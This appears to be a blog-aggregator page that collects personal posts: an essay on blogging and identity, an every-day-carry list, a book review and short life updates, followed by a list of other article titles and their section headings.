Lying here a day later, I still wonder what that smile meant. Was it an acknowledgement of the awkwardness of posing for a photo in front of art? Was it a smile of politeness because I was so entranced by the painting, and the lady was standing in front of part of it? Or was it because I looked so interested? A mix of all of the above? Something else? I’ll never know, but I am curious.

⁂ ⁂ ⁂

I love that I can go to a gallery to spend time with a landscape. The meditative state that comes from enjoying art and watching others enjoy art — Poplars on the Epte.

⁂ ⁂ ⁂

All of this leads up to a broader question: why do we take photos? CharliXCX advances an interesting proposition: that cameras can, in some way, invite us to be anything we want to be.

Doing as I do, I want to cross modalities from film to words and ask two different questions: Can blogs help us be who we want to be? Do blogs help us become who we want to be?

I am writing this explicitly with the intent to publish what I write on my blog, in order to participate in a collaborative writing challenge. The challenge, however, is secondary to my main goal of exploring the ideas that followed me after listening to CharliXCX’s Camera which, on my most recent listen, with consultation to annotations on the Genius lyrics website, likely has many more layers for me to look at (so too, by extension, does my thought process on why we take photos merit much more exploration). I am also writing this to explore a related interest of my own: the intersection of blogs and identity.

Here, I am connecting the dots I see.

⁂ ⁂ ⁂

I have a million questions but today I can only scratch the surface of one: Can blogs help us be who we want to be? I can do this through my own experience. My blog has been a place for me to explore my identity as a writer. I share ideas here which, by extension, I share with friends, and a wider audience, too. I sometimes – and increasingly, as I try to build my skills in new types of writing – write privately. But often I write publicly. Why? (Ah, another question!) I think it’s because when I write publicly I can share little stories from my world. I like doing that. In this way, this website helps me be who I want to be: the kind of person who shares stories.

I want to be the kind of person that brings positivity into people’s lives, or, at least, shines a light on the big impact of a little moment of joy. I also want to be the kind of person who acknowledges that there are weightier moments. I want to be the kind of person who experiments with words and shares some of those experiments. I want to be a writer. In essence, then, a blog is a manifestation of who I want to be: a person who writes and shares words with the world. Perhaps all along this has been with me, for the mantra of this website is “with words, wonder.”

On this website I have the pleasure of sharing the impression of bagpipes being played in the heart of Edinburgh (can writing be Impressionist? What would that mean?), stories of my times spent in bookshops, and the myriad ways in which I feel space (as I link, I know there are likely many more ways to explore the theme of space; therein, the joy of blogging: every post can be a new beginning). Would I write these stories even if I didn’t have a website? That is an impossible question to answer, for I would be a different person. But I do know I enjoy writing on the web (and I also like writing things just for me).

⁂ ⁂ ⁂

I don’t necessarily consider myself to be a “blogger,” for I feel that word carries a certain connotation that doesn’t fit me. But I have a place I call a blog. I write on my blog. I call my writing “Recent essays” on my home page. Even though that doesn’t feel like the most appropriate descriptor, it conveys something about how I feel: that my writing lies outwith being a blog. I also link to a page called “Writing” that lists all of my blog posts.

Amid all the confusion, some clarity: I write; this website is where I share stories with the world. Should “Recent essays” read “My stories”? But this blog contains only my capture of a story. I observe the world and write. “My writings” would be closer, for here I share the world through my own lenses – my own rose-tinted, fearful, excited, optimistic, lenses.

Lately, I have had one question come back again and again: Am I growing out of the name “James’ Coffee Blog”? What if I elevated the phrase that already sits with all of my writings here – “with words, wonder” – to be the title? I am not yet convinced, but I feel I am getting closer – herein, the messiness – and the joy – of exploring identity as it relates to this space, my website.

Like CharliXCX, I can be anything I want to be here: I can be my self who asks questions under the cover of near-midnight about identity, just as I can be my self who writes about the newspaper clipping that helped me get through the morning. Although, now I think about it, I was already being myself when I lived the moments that became stories. Indeed, my blog posts grow from my everyday thoughts. Are my writings snapshots? Or are they the story? Both? How would I know?

⁂ ⁂ ⁂

I am writing this blog post in bed where the loudest thing I can hear is my keyboard; the brightest thing in the room is my computer. Yet from here I see where I was yesterday when I heard those bagpipes being played. I see the piper repositioning themselves. I see the people recording the music. I feel my mind asking why it was important to them. Who will see the song the piper played after they played it? Am I part of sharing that story?

This post is me through and through – every word, a dip in the stream of my ever-changing and ever-growing thoughts. But I can’t help but wonder whether there are moments when writing creates a little bit of distance. I feel those moments: in how much of my inspiration comes from observing the world. Where, however, is the boundary between observation and being part of the story? An observer is still part of the story.

CharliXCX’s feeling of being “inspired and alive (Yeah, I'm ready)” when the camera is on is intriguing. I don’t write because there is a camera – a blog. But I can’t shake my question: what does it mean to write on the web? Here, I am doing more than writing: I am writing knowing that someone may read it. I am writing knowing that several people may read what I write. I am writing knowing that my words will live on a space called the World Wide Web. What does that mean?

But then again, on most days, I don’t think about who will read my writing: I think “I want to write,” and publishing comes second. I don't find energy in audience, but I do find joy in knowing a story I write might make someone smile. The web exists somewhere in the background of my mind, until it is in the foreground: until I see the white canvas of the publishing software and I know, soon, these words will sit with all of my stories here.

Just as experiences take me time to process, so, too, do I think my thoughts on CharlXCXi’s song will evolve. In particular, there is one part I cannot quite decipher yet, the last line: “'Cause it's the only way to feel like I'm not actually me”. I think I deviate here, for writing does help me feel like myself. But certainly, there are limits: some days, I just want to live in the stream of life with the only record of details being my memory.

⁂ ⁂ ⁂

I see a little bit of myself in [portrait] — of looking out into the distance to think; of needing the space that you can only get from looking at nothing in particular. But I see our differences too. – how art makes us connect; how art makes us look and look again, and want to go back to look again – to see what is new to us in old paintings.

⁂ ⁂ ⁂

I found my lost self at near-midnight, writing until my eyes grew heavy, and with the knowledge that my thoughts will carry forward into a new day. With fresh eyes, I wonder what I might see.

This is my contribution to the IndieWeb Carnival on the topic of “Masks, Identity & Cosplay” hosted by Joe.

Masks, Identity & Cosplay blogger things just for me there are weightier moments myriad ways in which I feel space stories of my times spent in bookshops impression of bagpipes being played in the heart of Edinburgh shines a light on the big impact of a little moment of joy

Every Day Carry 2026 - Joel's Log Files

2026-07-26T21:50:00.000Z

Had it been just a couple of months ago, this every day carry would have been very different! But things change, and I decided it was finally time to write an update on my Every Day Carry!

This post was originally inspired by Bojidar’s EDC post, but I remembered I had this draft pending completion after Rubenerd’s did one too. So, kudos to them for making me want to catch up at last.

In case you are wondering, I already did a post like this a while back. Check it out if you want! it’s very bare bones though.

Wallet and keys. There’s nothing special about either of these. I do carry cash very often compared to my European friends.
The Casio AQ-S820W has took a hold of my wrist lately, replacing my Casio Royale since the moment I bought it. It is a little big, kind of like my CasiOak, but I don’t mind at all, I love wearing it and it’s been niced to get used to the analog style again. No complaints.
My Kobo Clara 2E continues to reign as my main reading device. Since I am currently reading the last book of The Expanse, I simply bring this everywhere. I still bring my XTEINK X4, I always leave it in my backpack, though neither is seeing a lot of use because of the next thing.
A gaming handheld. Right now it’s the New Nintendo 3DS XL, which truly earned a place in pocket, due to my ongoing playthrough of both Fire Emblem Awakening and Ocarina of Time. Any handheld could easily be swapped here. It would have been the PSP, the Anbernic RG35XX SP, the smaller Miyoo Mini Flip, or even the Nintendo Switch, depending on what I feel like.
A pair of nameless wired earphones. They are the ones that came with my Innioasis Y1—though I haven’t used that music player a lot lately—since they are perfectly serviceable with whatever handheld console I’m using at the moment. The Switch does work with Bluetooth but it’s just more practical to go wird.
The Nothing Ear (a) are incredible wireless earphones though. I’ve had them for almost two years and they work great! However, my constant use of the left earphone at night has made battery life uneven, and unusable with ANC, they still work very well without it though. My Nothing Ear (open) have worked wonders in quiet environments, but they are not as ideal when I’m in crowded places. Excellent during cycling though.
A Nothing (3a) is my phone of choice! There’s not a lot to say about a phone these days, it has a great back design and the cleanest non-Pixel firmware there is in the form of NothingOS. A very serviceable device I’m happy to have despite it’s annoying AI button.
An iPhone SE 3 which was given to me by my workplace, I get phone calls from work so it happens. Hate it, but it’s alright.
A Tupperware Eco Twist has been my water bottle since my high school days. I know that everyone recommends stainless steel nowadays, and I do have an Owala, but after I left it at the gym, I’d rather not risk it. Not a good idea to get expensive stuff if you are as forgetful as me…

I guess I could mention a few more things, such as my 3DS case, or a bunch of loose coins. Keep in mind these are things I carry with me during my work days, I rarely go out during a weekend but when that happens I only bring my phone, wallet, and possibly a handheld.

To end this post, here’s an of out of date Knolling I made inspired by Bojidar’s. I should have made a new one with my 3DS but the dark/gray/white color aesthetic seemed better anyway, so I couldn’t be bothered. Besides, I do continue to use my PSP to play some titles like Black Rock Shooter and Ys Chronicles I.

An organized set of devices, notable difference from the list is the PSP 3000, Anbernic RG35XX SP, and the Pilot Metropolitan, a fountain pen

This is day 3 of #100DaysToOffload

Reply to this post via email | Reply on Fediverse

Book Review: Dungeon Crawler Carl by Matt Dinniman ★★⯪☆☆ - Terence Eden’s Blog

2026-07-26T11:34:33.000Z

To call this derivative is an understatement. But that's what this genre demands; rehash all your favourite media properties into something new. It's the literary equivalent of having your Transformers™ fight your He-Man© toys.

The plot, such as it is, features the Vogon Constructor Fleet destroying Earth due to a late beurecratic appeal, forcing people to play The Hunger Games, while a Twitch streamer narrates the action.

The protagonists in Andy Weir's books are boys who know enough science to save the day. The ones in Scalzi's books have enough pop-culture knowledge to save the day. Dinniman's has played enough loot-box gatcha RPGs to save the day.

It is mostly pretty good fun. The tropes are goofy, the gore is splattertastic and only rarely ventures into torture porn, the villains are suitably campy, and the wisecracking sidekick doesn't become too annoying.

But the prose…

Here's a classic scene from Red Dwarf which exemplifies the major problem I had with this book.

There's only so many times you can read "Then I severed a +3 damage with poison debuff while he raised a +1 shield and used his armour of holding to neutralise the attack". I find opening endless lootboxen a chore when I'm playing a game - reading 150 instances of "I got a bronze box with a cauldron of Mafeking, then a gold box with an enchanted ring, then…" just becomes tiresome.

I tried listening to the audiobook of the sequel and I just couldn't get past the endless recitation of lists about +5 to elbows and -6 to arseholes. Just unbearably tedious.

Look, I've never written a novel and doubt I could do any better. This has obviously found its fanbase but, regrettably, I'm not one. It was a fun enough read, but I'm not sure I can be bothered with a dozen more sequels of recycled plots and repetitive squishing of cackling enemies.

📝 2026-07-26 10:44: Taking the dogs for a walk with our oldest and we came across this beautiful... - Kev Quirk

2026-07-26T09:44:00.000Z

Taking the dogs for a walk with our oldest and we came across this beautiful buzzard just sat there. Wasn't bothered by us really. I just hope it doesn't have a bust wing or anything.

Thanks for reading this post via RSS. RSS is ace, and so are you. ❤️

You can reply to this post by email, or leave a comment.

I Came Second in the Hemispheric Views June-Boree and Got This Neat Trophy - Robb Knight • Posts • Atom Feed

2026-07-26T09:13:44.000Z

I posted about my June-Boree entries a couple of weeks ago and the winners were announced on episode 167. Turns out I came second, beaten narrowly by Arcadia king Eric, which means I get one of Jason's famous trophies.

After some shenanigans with trying to send it to a pickup location which UPS couldn't do three days in a row, I finally got my hands on it and it's glorious.

Shellsharks Blogroll - BlogFlock

Solving the Missing Trust Anchor in Dynamic Client Registration with CIMD - Articles by Aaron Parecki

How Dynamic Client Registration Works

The Problems with DCR

Anyone Can Register Anything

The Client Lifecycle Problem

Client Impersonation Is Undetectable

Credential Sprawl for Clients

The Root of the Problem

How Client ID Metadata Document Works

What CIMD Makes Possible

Domain Ownership as a Trust Signal

Enterprise Pre-Registration Without Client Changes

Clients Control Their Own Keys

Mobile Apps and Attestation

Comparison

What CIMD Does Not Solve

Desktop Apps

Where This Leaves Us

Indicating levels of Johnny.Decimal complexity - Johnny.Decimal

Some stuff is advanced

Complexity: 1/3

Complexity: 2/3

Complexity: 3/3

Google Calendar "Unable to launch event" - caused by missing DTSTAMP - Terence Eden’s Blog

How we use /goal to find bugs in Patch the Planet - Trail of Bits Blog

Drawing Resources - Robb Knight • Posts • Atom Feed

📝 2026-07-28 09:16: Always fun when your bike runs out of electricity on the way to work. Note... - Kev Quirk

From your doorbell to your home network - Adepts of 0xCC

Table of contents

0x00 Preamble

0x01 Introduction to the ecosystem

0x02 Jamming

0x03 Soundwave sync protocol

0x04 Extracting and decrypting OCEAN_XXXXXX creds from flash memory

0x05 Final words

Teardown 2026 - Hey, it's Jason!

Wonders of Web Weaving, Episode 12 - James' Coffee Blog

RetroAchievements, a football match, and visits - W30 - Joel's Log Files

📝 2026-07-27 17:54: The poor buzzard was still there when I was walking the dogs this morning, so... - Kev Quirk

Published on Citation Needed: "Mapping Trump’s crypto empire on Last Week Tonight" - Molly White's activity feed

Mapping Trump’s crypto empire on Last Week Tonight - Molly White's activity feed

Don't bring sensitive data to a border crossing - Werd I/O

RFC W0192: Use of +, ~, @; clarifying extend-the-end - Johnny.Decimal

Defining an ID

Folder structure

What about additional notes?

Proposal 1: ~ is used to indicate a freeform sub-note

Valid: notes inside the ID note

Equivalent: sub-note extracted to its own file

Proposal 2: + means 'extend-the-end'; defining 'extend-the-end'

Formalising how you extend-the-end

You should be able to list all of your extend-the-ends

Standards-in-waiting

Be consistent

A counter-example

You own everything after the +

An example of a code

Keeping notes

Difference between ~ and +

In your filesystem

Proposal 3: @ links Work Packages to their ID

How to feedback

Footnotes

Blogs, websites, and identity - James' Coffee Blog

Every Day Carry 2026 - Joel's Log Files

Book Review: Dungeon Crawler Carl by Matt Dinniman ★★⯪☆☆ - Terence Eden’s Blog

📝 2026-07-26 10:44: Taking the dogs for a walk with our oldest and we came across this beautiful... - Kev Quirk

I Came Second in the Hemispheric Views June-Boree and Got This Neat Trophy - Robb Knight • Posts • Atom Feed

Proposal 1: `~` is used to indicate a freeform sub-note

Proposal 2: `+` means 'extend-the-end'; defining 'extend-the-end'

You own everything after the `+`

Difference between `~` and `+`

Proposal 3: `@` links Work Packages to their ID